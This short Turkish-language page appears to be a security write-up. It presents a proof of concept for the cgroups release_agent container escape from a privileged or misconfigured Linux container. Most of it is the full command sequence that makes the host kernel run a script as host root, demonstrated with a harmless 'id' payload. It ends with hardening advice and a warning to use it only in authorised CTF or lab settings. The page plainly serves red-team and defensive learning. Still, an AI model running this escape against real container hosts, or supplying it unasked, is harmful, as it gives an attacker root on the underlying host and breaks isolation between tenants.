Modern Container Escape - Linux x64 - PoC
Privileged container veya hatali cgroup ayarlarinda, container icinden host kernel uzerinde kod calistirmak mumkundur. CTF ve red team tatbikatlarinda sik karsilasilan teknik.
cgroups release_agent Exploit
# Container icinde root yetkisiyle:
mkdir /tmp/cgrp
mount -t cgroup -o memory cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
echo "$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /proc/mounts)/cmd" \
> /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo 'id > /output' >> /cmd
chmod +x /cmd
sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs"
cat /output
# uid=0(root) -- HOST root!
Koruma
--privileged kullanmayin
Seccomp ile syscall'lari kisitlayin
AppArmor/SELinux profili uygulayın
cgroupv2 (unified) daha guclu izolasyon
Pod Security Admission: restricted policy
UYARI Lab Ortami
Bu PoC yalnizca izinli CTF/lab ortamlarinda calistirin.